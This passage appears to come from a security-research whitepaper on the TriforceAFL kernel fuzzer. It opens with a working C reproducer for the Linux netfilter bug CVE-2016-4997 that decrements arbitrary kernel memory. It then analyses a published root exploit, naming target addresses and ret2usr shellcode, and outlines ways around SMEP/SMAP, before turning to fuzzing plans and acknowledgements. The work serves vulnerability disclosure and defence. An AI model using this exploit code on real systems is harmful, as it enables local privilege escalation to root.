94              voidp64 target; // struct xt_target *
95          } kernel;
96          u_int16_t target_size;
97      } u;
98      unsigned char data[0];
99  };
100
101 struct compat_xt_counters {
102     compat_u64 pcnt, bcnt;          /* Packet and byte counters */
103 };
104
105 struct compat_ipt_entry {
106     struct ipt_ip ip;
107     compat_uint_t nfcache;
108     __u16 target_offset;
109     __u16 next_offset;
110     compat_uint_t comefrom;
111     struct compat_xt_counters counters;
112     unsigned char elems[0];
113 };
114
115 struct compat_ipt_replace {
116     char            name[XT_TABLE_MAXNAMELEN];
117     u32         valid_hooks;
118     u32         num_entries;
119     u32         size;
120     u32         hook_entry[NF_INET_NUMHOOKS];
121     u32         underflow[NF_INET_NUMHOOKS];
122     u32         num_counters;
123     compat_uptr_t       counters;   /* struct xt_counters * */
124     struct compat_ipt_entry entries[0];
125 } __attribute__ ((packed));
126
127 void
128 xperror(int bad, char *msg)
129 {
130     if(bad) {
131         perror(msg);
132         exit(1);
133     }
134 }
135
136 /* struct xt_entry_match with proper layout for -m32 */
```

```
137 struct my_xt_entry_match {
138     union {
139         struct {
140             __u16 match_size;
141             char name[XT_EXTENSION_MAXNAMELEN];
142             __u8 revision;
143         } user;
144         struct {
145             __u16 match_size;
146             char padding[6];
147             voidp64 match; // struct xt_match *
148         } kernel;
149         __u16 match_size;
150     } u;
151     unsigned char data[0];
152 };
153 
154 void
155 attack(int s, void *me1, void *me2)
156 {
157     char buf[65 * 1024];
158     struct ipt_replace repl;
159     struct ipt_entry ent;
160     struct my_xt_entry_target targ, targ2;
161     struct xt_target myxttarg;
162     struct my_xt_entry_match match;
163     struct xt_match kernmatch;
164     char *p;
165     socklen_t valsz;
166     int x;
167 
168     /* build [repl [ent match target ... target2]] */
169     memset(&targ, 0, sizeof targ);
170     targ.u.target_size = 0;
171 
172     memset(&myxttarg, 0, sizeof myxttarg);
173     myxttarg.me = (voidp64)(uintptr_t)me2; // our me!
174 
175     memset(&targ2, 0, sizeof targ2);
176     targ2.u.target_size = 0;
177     targ2.u.kernel.target = (voidp64)(uintptr_t)&myxttarg; // we choose! fun!
178 
179     memset(&kernmatch, 0, sizeof kernmatch);
180     kernmatch.me = (voidp64)(uintptr_t)me1; // our me!
181 
182     memset(&match, 0, sizeof match);
183     strcpy(match.u.user.name, "icmp");
184     match.u.kernel.match = (voidp64)(uintptr_t)&kernmatch; // we choose! fun!
185     match.u.match_size = 65535; // consume all space till target_offset=65535
186     /*
187      * if we wanted, we could include many more match records, each
188      * decrementing a different kernel address.
189      */
190 
```

```
    memset(&ent, 0, sizeof ent);
    ent.next_offset = sizeof ent + sizeof match + sizeof targ;
    /*
     * this value of target_offset is too small.  It will cause
     * there to be no match entries when initializing the entry.
     * It will cause target->u.kernel.target to alias ent->target_offset,
     * which will overwritten e->target_offset with 0xfff after
     * initializing the empty matches.  Later when the matches
     * are released by compat_release_entry() the matches will be
     * taken from the space immediately following the entry, which
     * will contain a user-provided match->u.kernel.match record
     * instead of the kernel provided match->u.kernel.match record!
     */
    ent.target_offset = 74;

    memset(&repl, 0, sizeof repl);
    repl.num_entries = 2; // intentionally wrong! we only provide one!
    repl.num_counters = 1;
    repl.size = sizeof repl + 65535 + sizeof targ;
    repl.valid_hooks = 0;

    p = buf;
    memcpy(p, &repl, sizeof repl);
    p += sizeof repl;
    memcpy(p, &ent, sizeof ent);
    p += sizeof ent;
    memcpy(p, &match, sizeof match);
    p += sizeof match;
    memcpy(p, &targ, sizeof targ);
    p += sizeof targ;

    p = buf + sizeof repl + 65535; // the target, after target_offset has been
        corrupted
    memcpy(p, &targ2, sizeof targ2);
    p += sizeof targ;
    valsz = repl.size;

    //x = compat_setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, buf, valsz);
    x = setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, buf, valsz);
    printf("setsockopt returned %d\n", x);
}

void
linux4_decr(int s, void *p1, void *p2)
{
    /* pointer is directly in me */
    attack(s, p1, p2);
}

int
main(int argc, char **argv)
{
    char huntbuf[4096];
    struct utsname name;
```

```
    void (*modfunc)(int, void *, void *);
    int x, s, off, decrTarget;

    x = uname(&name);
    xperror(x == -1, "uname");
    switch(name.release[0]) {
    case '4':
        printf("using linux4_decr\n");
        modfunc = linux4_decr;
        break;
    default:
        printf("unsupported version: %s\n", name.release);
        exit(1);
    }

    s = socket(AF_INET, SOCK_DGRAM, 0);
    xperror(s == -1, "socket");

    /* use the attack to find out the offset to the modified data */
    memset(huntbuf, 2, sizeof huntbuf);
    modfunc(s, huntbuf, huntbuf);
    for(off = 0; off < sizeof huntbuf; off++) {
        if(huntbuf[off] != 2)
            break;
    }
    if(off == sizeof huntbuf) {
        printf("offset not found!\n");
        return 1;
    }
    printf("offset %d\n", off);

    /*
     * Use the attack to decrTarget by one (and huntbuf by one).
     * The decrement happens in kernel and could decrement
     * arbitrary kernel integers (if positive).
     */
    decrTarget = 10;
    printf("decrTarget %d\n", decrTarget);
    modfunc(s, (char *)&decrTarget - off, huntbuf);
    printf("decrTarget %d\n", decrTarget);

    return 0;
}
```

Listing 15: repro-compatReleaseEntryMod.c – decrement arbitrary memory in kernel-mode

8 On Exploiting CVE-2016-4997

We intended to write an exploit showing how you could use the arbitrary decrement primitive from CVE-2016-4997 to gain kernel code execution. However, before we could, Vitaly Nikolenko published his exploit on Twitter, which was cool to see and also saved us the time. So, thanks Vitaly! Instead of writing the exploit, we'll explain how his exploit works. Then, we'll further talk about how the issue could be exploited in the presence of SMEP/SMAP. But first, we want to call attention to the following line in the exploit we found most intriguing:

```
9 23/04/2016
```

We reported this issue to the Linux kernel security team on June 21, 2016. Additionally, when we reported these vulnerabilities, there were already commits in an upstream (future) branch of the netfilter code. This may have been triggered by Google's ProjectZero reporting a similar vulnerability in the netfilter code (which was discovered by ProjectZero, and made public by the linux-devs on Mar 9, 2016). So it is unclear what led Vitaly to discover these vulnerabilities.[26]

Overall, we feel this validates some of our assumptions going into this project:

- The Linux kernel contains unknown, or patched (but only upstream), vulnerabilities that can be (and likely are being) exploited.
- Often, security bugs can be found by looking at development logs and noting areas that have been patched (even for "innocuous" bugs). There are often "hotspots" of buggy code where a fix for a single bug may not eliminate all issues (and in fact may draw attention to these areas).
- Fuzzing projects like ours can find these issues and in doing so, make Open Source Software (OSS) more secure.

We hope that serves as a compelling argument on why more people should join us in fuzzing and auditing OSS.

8.1 Analysis of Cysec Target Offset Exploit

The Cysec exploit itself[27] is very simple and elegant. It assumes that SMAP/SMEP are disabled (these are mitigations meant to prevent control flow jumping into user memory while in kernel-mode). The exploit also assumes KASLR is disabled,[28] but does not assume DEP is disabled. It cleverly avoids needing to perform ROP by targeting an existing function pointer: Linux's VFS subsystem contains a series of device-specific structs, with function pointers corresponding to the various operations ('fops') each device must implement. The exploit works by using a well known technique, nulling out the top half of one of these function pointers so that it points into user-mode (a "ret2usr" attack).

To get into specifics of the Cysec exploit:

- The exploit targets `ptmx_fops.release+5` for decrementing. This is at address `0xffffffff821de44d` (`ptmx_fops` is at `ffffffff821de3e0`).
- It does this with the 'magic' value of `0xffffffff821de10d`, which is 832 bytes earlier (since offset 832 of the module pointer is decremented, in an attempt to decrement its refcount). The old value was a pointer to `tty_release` (`0xffffffff814e30b0`), and after decrementing `ptmx_fops.release+5` multiple times,

[26] Code auditing after seeing the ProjectZero bug report? His own independent hunting? Who knows...
[27] https://cyseclabs.com/exploits/target_offset_vnik.zip
[28] Which is the default on the Ubuntu version targeted. An attacker with local code execution could likely leak the kernel slide before carrying out this attack, so this is not a significant barrier. In the authors' opinion, KASLR is most useful in preventing remote exploits from being successful, as local kernel address leaks are very common, at least on Linux.

the high bytes have been zeroed out, so this pointer is now `0x000000ff814e30b0`.[29]

- In user-mode, shellcode is placed at this address by `mmap`ing it. The shellcode is a very straightforward kernel exploit payload: it calls `commit_creds(prepare_kernel_cred((uint64_t)NULL));`, which sets the current process's `userid` to 0 (turning it into a root-privilege process).
- In order to trigger the shellcode, we only need to open and then close `/dev/ptmx`, causing the (now corrupted) `ptmx_fops->release` pointer to be called, invoking the shellcode in kernel-mode.

8.2 Making the Exploit More Powerful

As we said earlier, the published exploit assumes that SMEP/SMAP are disabled, which are mitigations that prevent returning into userspace while running in kernel-mode. However, there are a number of ways this exploit can be used even in the presence of SMEP/SMAP:

- The most "textbook" strategy would be to overwrite a function pointer with a pointer to a stack pivot gadget. A fake stack (for ROP) would be prepared and pre-placed in memory, then arbitrary functionality could be done as kernel ROP by invoking the stack pivot gadget to execute the ROP chain.
- A more direct way to achieve the same goal would be to overwrite a function pointer to point into a location in the code that elevates permissions (for instance, jumping into `setuid(2)` after the permissions checks have been passed).[30]
- If you can leak the location of your process's task struct, you can use the decrement primitive to modify your process's credential structure (such as setting the `CAP_SETUID` capability, which would allow the process to simply do: `setuid(0);` in order to become a root process).
- Alternatively, there are various global pieces of kernel state that could be corrupted. By overwriting multiple existing function pointers with the location of various gadgets, more powerful primitives can be made.[31]

[29] As we pointed out on Twitter, this is not the quickest way to null out these bytes, but hey, it works!
[30] We investigated this briefly, and while jumping into `setuid(2)` doesn't seem feasible, we still think there is likely an elegant attack of this nature. This is left as an exercise to the reader.
[31] Again, left as an exercise to the reader ;)

9 Conclusion and the Future

We believe the future is bright for our fuzzing project. We've written an OpenBSD fuzzer using TriforceAFL, which will be available very soon on our GitHub page. Using that, we've already found a number of vulnerabilities in OpenBSD. But we have a lot further to go.

9.1 Current Work

Improving the syscall corpus both in depth and complexity. We're building a corpus of 'working' system calls (originally for Linux and OpenBSD, now for POSIX in general), in order to achieve a more scientific coverage of simple to complex system calls. This should also let us fuzz a number of different POSIX operating systems relatively quickly!

Hang detection. One major loss of performance is AFL spending its time investigating code paths that hang (such as making a syscall on a blocking socket). While it is obviously impossible to determine if a given program will terminate,[32] some cases of hangs could possibly be detected earlier (such as noticing that a call is waiting on a blocking resource, and terminating the test-case prematurely). Another strategy would be to dynamically change the timeout parameter when exploring paths that seem to be producing a large number of timeouts.

99 Problems and a disk is one. One of the main issues holding us back from being able to 'just plug in a POSIX' is the lack of backing store idempotence. Most operating systems require a hard disk to run off (which QEMU usually emulates from a disk image), and these disk images aren't forked with the VM. So without modification, all the vm-forks would be writing to the same disk image, corrupting eachother's state (and the image itself).

Luckily for us, Linux is happy to boot and run entirely off a ramdisk (and recall that all vm-memory is properly forked when making a vm-fork), but OpenBSD is not so amenable. The solution we kludged together to get fuzzing working for OpenBSD was to have QEMU emulate a read-only SCSI disk for booting, and then leverage the work of the FlashRD project to boot into a system where all partitions are either read-only or memory-based. This works, but it is somewhat ugly and not particularly generic. What we're testing right now (and have now released, although it should still be regarded as "experimental" and may have bugs in it) is a new QEMU backing-store driver that provides COW (Copy-On-Write) semantics for VM forks. In other words, it takes a disk image, emulates the drive for the virtual machines, and when a vm-fork writes to the disk, QEMU will make a fork of the disk-image. This provides the needed idempotence between test cases, and will let us fuzz existing operating systems without needing to reconfigure the operating system to work entirely off a ramdisk.

Distributed fuzzing in the cloud. Some of our friends at Digital Ocean noticed the work we were doing on improving the state of Open Source Security (OSS), and were nice enough to let us use some of their spare fleet. We wrote a light-weight orchestration framework[33] so that we can parallelize Triforce fuzzers across a large number of (cheap and unused) single-core droplets. This differs significantly from our previous efforts, where we fuzzed entirely from one powerful multi-core server. While there are some existing frameworks for orchestrating distributed AFL fuzzing runs, we wanted a bit more control than they were giving us, and opted to write something quick and simple. We hope at some point to have this little orchestration framework support smart bucketing of crashes (bucketing variants of the same crash across different hosts automatically) and to do other cross-host analysis (i.e. running through the queue from one host on a different host that's fuzzing a different kernel, and recording differences in dmesg outputs between these).

[32] c.f. Turing

[33] Just some small shell scripts using `rsync` and `ssh`. We'd be happy to release it publicly if there's interest.

Automatic generation of test cases. We're building a specialized version of `strace` to observe "sequences" of system calls that are made by a binary, and use those sequences to create test cases of serialized system calls to seed fuzzing runs. On that same theme, a feedback driven fuzzer could be used on the invocation of a target binary (i.e. the arguments to `ls`) to create a corpus of invocations that cause a target to make interesting patterns of system calls. Combined with our "powered up strace", this corpus of command line invocations could be turned into a corpus of serialized system calls (and then be minimized). We think this might produce some very interesting seeds. There are also significant possibilities for generating test cases from purely static analysis of binaries.

9.2 Future Improvements

Add support for using KVM with QEMU. In theory, it should be possible to perform the same traces, but using KVM to run the VMs. This would significantly improve speed, as well as allow targeting operating systems (such as Apple OSX) that are currently only possible to run in QEMU with KVM support. This would require moving our "aflCall" implementation from host user-mode into the KVM hypervisor (or at least adding a shim in the hypervisor to call into host TriforceAFL when an `aflCall` instruction is encountered). It would also require running on hardware that was not shared (as we'd need to run our own code within the context of the hypervisor, something cloud providers (for good reason) cannot offer), as well as modern hardware that supports hardware level tracing (such as Intel's Processor Tracing).

Single threaded full-system emulation. A much simpler avenue towards increased performance would be to make QEMU's full-system emulation single threaded. This would allow faster forking (as VM's would no longer need to be trampolined on fork), as well as allow JIT cache sharing between forks (so when a block is JIT'd in one fork, other forks do not need to re-JIT the same code when they encounter the same block).

Fuzz via a driver running within a Linux container or from within a BSD jail. This would focus the attack surface specifically on bugs that could be used for container escape or other container-to-host attacks.

Fuzz targets that were previously *very* difficult to fuzz, such as Xen and seL4. This will likely require dealing with some "target specific headaches" related to fuzzing hypervisors (or microkernels) in VMs, and may require building significant scaffolding. Some other targets we'd like to fuzz are QubesOS, redox, Windows, and OSX. We're also open to suggestions (feel free to send us an email or tweet).

Fuzzing exotic embedded firmware or OSes. Fuzz some more exotic embedded targets that QEMU supports. We've already extended TriforceAFL to the "arm32" architecture, available in a branch on our GitHub. Currently, we're not using it against anything, but we wanted to show that it was possible. Interestingly (from brief testing), it performs about as fast as x64 emulation.

Structural mutational for AFL's mutation engine. This would require creating a target-specific TriforceAFL variant that would deserialize test cases, perform structural mutation, and then reserialize them (in contrast, currently AFL treats serialized test cases as arbitrary buffers, and only performs generic mutations driven by feedback). This could allow AFL to perform mutations such as creating chains of system calls from individual test cases that each consisted of only a single system call. One idea we've toyed with (for Linux specifically) would be to deserialize a test case, re-encode it into syzkaller's test case format, have syzkaller mutate it, and then transcode it back to our driver's format.[34]

[34] This is one hell of a kludge, which is probably one of the reasons we haven't written it. However, it would be quite a Trinity/Triforce of AFL, QEMU, and syzkaller.

9.3 How You Can Help Out

Give us a shell on your idle hardware. Do you have server space you want to donate? We'd be happy to use them to fuzz OSS, hopefully increasing the security of OSS for everyone. Or if you have a specific target in mind, feel free to shoot us an email!

Send us a pull request. Implement one of the new features from the previous subsection or something we haven't thought of. We're happy to accept new features, speed improvements, etc.

Help develop complex testing chains. Come up with test cases for one of our published drivers (consisting of interesting sequences of syscalls). We'd be happy to add them to our corpus and use them in our fuzzing runs!

Build something cool with TriforceAFL. At its most fundamental level, TriforceAFL is a tool to fuzz an arbitrary process in a VM with the goal of getting it to reach a targeted basic block. This can be used to fuzz things besides syscalls. It could be used on quite different pieces of the operating system (network stacks seem both challenging and very rewarding). It can also be used to fuzz complicated user-mode processes that can't easily be fuzzed in the normal way. It can even be used to fuzz processes with the goal of reaching certain "goal" blocks, instead of attempting to crash the process. As our extension to "arm32" shows, it's possible to extend this to arbitrary architectures that QEMU supports emulating. A whole new world of targets are now accessible. Happy hunting.

10 Acknowledgements

We want to thank a large number of people, without which all of this would not be possible:

- Michal Zalewski (lcamtuf) for his excellent AFL tool, without which we are lost.
- NCC Group's Joel St. John for giving us free reign over his fuzzing rig, which is what enabled us to first use this to actually find bugs!
- The Open Source team at Digital Ocean, for giving us a chunk of server space with which to fuzz open source software.
- A number of anonymous QEMU hackers for helping us figure out strange issues involving thread-local state/storage, forks, and virtual CPUs.
- The whole QEMU project in general for being a high quality and extensible emulator that supports tracing.
- Jann Horn for the original AFL forkserver design.
- Andrew Griffiths for his (brilliant) original user-mode 'qemu_mode' patchset to AFL and QEMU.
- Peter Gutmann for suggesting a better hash function for AFL's edge-map.
- NCC Group's David Schuetz, Ryan Koppenhaver, and Aaron Grattafiori for supporting, encouraging, and guiding us in our research (as well as Aaron now joining the Triforce team, and helping edit this whitepaper).
- NCC Group's Andy Schmitz and Tom Ritter for their help with disclosure.
- Alexander Peslyak (Solar Designer) for his help disclosing issues to various linux-distros.
- NCC Group's Jeremiah Blatz, Graham Bucholz, Jake Heath, and Andy Grant for helping edit our blogposts, advisories, and this paper itself.
- Dave Jones (kernelslacker) for Trinity, from which we drew a lot of inspiration.
- The syzkaller team, from whose project we also drew inspiration: Dmitry Vyukov, Andrey Konovalov, David Drysdale, Baozeng Ding, Lorenzo Stoakes, and Jeremy Huang.
- Vitaly Nikolenko for writing an exploit for CVE-2016-4997.